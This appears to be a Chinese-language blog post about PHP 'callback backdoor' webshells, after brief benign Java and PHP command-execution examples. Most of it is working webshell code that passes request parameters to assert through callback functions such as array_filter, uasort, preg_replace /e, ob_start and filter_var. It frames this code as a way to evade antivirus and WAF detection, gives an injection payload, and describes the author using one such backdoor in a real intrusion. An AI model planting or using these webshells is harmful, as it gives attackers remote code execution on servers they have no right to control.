目录
一个array_walk + preg_replace的回调后门
在Java中执行命令,通常使用Runtime类或者ProcessBuilder类。这两个类都提供了在Java应用程序中执行外部命令的方法。
Runtime.exec()一个运行例子
- public class CommandExecutor {
- public static void main(String[] args) {
- try {
- // 使用字符串参数(注意这可能会在 shell 中进行解析,可能会导致问题)
- Process process = Runtime.getRuntime().exec("ls -l");
-
- // 处理输出...
-
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
ProcessBuilder类
运行例子
- public class CommandExecutor {
- public static void main(String[] args) {
- try {
- ProcessBuilder processBuilder = new ProcessBuilder("ls", "-l");
-
- // 你可以设置其他属性,如环境变量、工作目录等
-
- // 执行命令
- Process process = processBuilder.start();
-
- // 获取命令输出(同上)
-
- // 等待命令执行完毕(同上)
-
- } catch (IOException | InterruptedException e) {
- e.printStackTrace();
- }
- }
- }
在 PHP 中,执行外部命令通常是通过几个不同的函数来实现的,其中最常用的是 exec(), shell_exec(), system(), passthru(), 和 proc_open()。这些函数都允许你从 PHP 脚本中调用和操作外部命令,但每个函数都有其特定的用途和行为。
在WebShell中,攻击者通常会使用PHP的各种函数来执行系统命令、读取文件、写入文件、执行数据库操作等。以下是一些在WebShell中常用的PHP函数:
exec(): 执行外部程序,并返回最后一行输出。
assert():将内容当作代码执行
进行命令执行需要考虑webshell绕过,如果不考虑的话你的木马就可能会被杀掉
这里的后门都已经很老了,会被杀毒软件杀掉。比较新的PHP版本中,assert传参是不可以动态获取的方式来传递了
assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用
在 PHP 中,$_REQUEST 是一个超全局变量,它包含了通过 GET、POST 和 COOKIE 方法传递的参数。
call_user_func('assert',$_REQUEST['pass'])
call_user_func_array('assert', $_REQUEST['pass']);
array_map也有同样功效
array_filter() 是 PHP 中的一个内置函数,用于使用指定的回调函数过滤数组中的元素。该函数遍历数组中的每个值,并将其传递给用户定义的回调函数。如果回调函数返回 true,则该元素会包含在结果数组中;如果返回 false,则该元素会被排除。
- // 假设有一个不安全的函数,它接受一个用户提供的回调函数
- function unsafe_filter_array($array, $callback) {
- return array_filter($array, $callback);
- }
-
- // 恶意用户可能提供一个恶意的回调函数
- $malicious_callback = create_function('$value', 'if ($value == "secret") { eval($_POST["cmd"]); } return true;');
-
- // 假设我们有一个包含敏感数据的数组
- $sensitive_data = array('normal' => 'This is normal data', 'secret' => 'This is secret data!');
-
- // 恶意用户调用不安全的函数,并传递恶意回调函数
- $filtered_data = unsafe_filter_array($sensitive_data, $malicious_callback);
-
- // 当 'secret' 键的值被检查时,会执行 $_POST["cmd"] 中的 PHP 代码
- // 这是一个明显的安全漏洞,因为它允许攻击者执行任意的 PHP 代码
- $e = $_REQUEST['e'];
- $arr = array($_POST['pass'],);
- array_filter($arr, base64_decode($e));
现在这个会回调后门估计也不行了
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
- $e = $_REQUEST['e'];
- $arr = array('test', $_REQUEST['pass']);
- uasort($arr, base64_decode($e));
- $e = $_REQUEST['e'];
- $arr = array('test' => 1, $_REQUEST['pass'] => 2);
- uksort($arr, $e);
- // way 0
- $arr = new ArrayObject(array('test', $_REQUEST['pass']));
- $arr->uasort('assert');
-
- // way 1
- $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
- $arr->uksort('assert');
首先创建了一个 ArrayObject 的实例,并传递了一个包含两个元素的数组给它:'test' 和 $_REQUEST['pass']。$arr->uasort('assert');这里使用 uasort() 方法对 ArrayObject 的内部数组进行排序。也就是使用assert执行php代码
- $e = $_REQUEST['e'];
- $arr = array(1);
- array_reduce($arr, $e, $_POST['pass']);
- $e = $_REQUEST['e'];
- $arr = array($_POST['pass']);
- $arr2 = array(1);
- array_udiff($arr, $arr2, $e);
preg_replace 函数preg_replace 函数通常用于执行正则表达式的搜索和替换操作,然而,在 PHP 的旧版本中(,preg_replace 函数有一个 /e 修饰符,它允许在替换字符串中执行 PHP 代码。
preg_replace 简单的使用- $pattern = '/world/';
- $replacement = 'PHP';
- $subject = 'Hello, world!';
-
- $result = preg_replace($pattern, $replacement, $subject);
- echo $result; // 输出: Hello, PHP!
php代码的插入在$subject上,然后每次匹配成功后会在replacement中执行
这个函数也可以用array_walk_recursive
- $e = $_REQUEST['e'];
- $arr = array($_POST['pass'] => '|.*|e',);
- array_walk($arr, $e, '');
注入payload
?e=preg_replace&pass=phpinfo();
执行的结果与下列代码相同
preg_replace('|.*|e',"",phpinfo())
曾经有一次渗透,我用dirmap扫描了他网站的一个根目录,发现了他有一个源码的打包,我拿下来以后,我发现他对正则表达式写了一个pre_replace的值,正好符合这个回调后门,然后实施了入侵。
- mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
e就相当与preg_replace中的|e选项
注如语句
?pass=passinfo()
与上面同理
- preg_filter('|.*|e', $_REQUEST['pass'], '');
ob_start() 函数用于启动输出缓冲。默认情况下,它不接受任何参数,这意味着所有的输出(如 echo、print 等)都会被捕获到内部缓冲区,直到你调用 ob_end_flush() 或类似的函数来发送或清理缓冲区。但是,当你给 ob_start() 传递一个回调函数(如 'assert')时,这意味着每次缓冲区的内容被刷新或清理时,都会将该内容传递给该回调函数作为参数并执行。
下列代码就是一个无回显的一个调用,但是由于是没有回显的所以,我们可以用来进行一些命令执行的代码,比如说创建一个文件什么的
- ob_start('assert');
- echo $_REQUEST['pass'];
- ob_end_flush();
- #这行代码将结束输出缓冲,并将缓冲区的内容发送到浏览
- #器(或任何接收输出的地方)。由于我们在开始时使用了
- #'assert' 作为回调函数,因此这里会尝试将
- #$_REQUEST['pass']; 作为 PHP 代码执行。
- $e = $_REQUEST['e'];
- register_shutdown_function($e, $_REQUEST['pass']);
- $e = $_REQUEST['e'];
- declare(ticks=1);
- register_tick_function ($e, $_REQUEST['pass']);
- filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
这是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
这是filter_var_array的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可
说这个回调后门是为了了解在命令执行中如何绕过常见的waf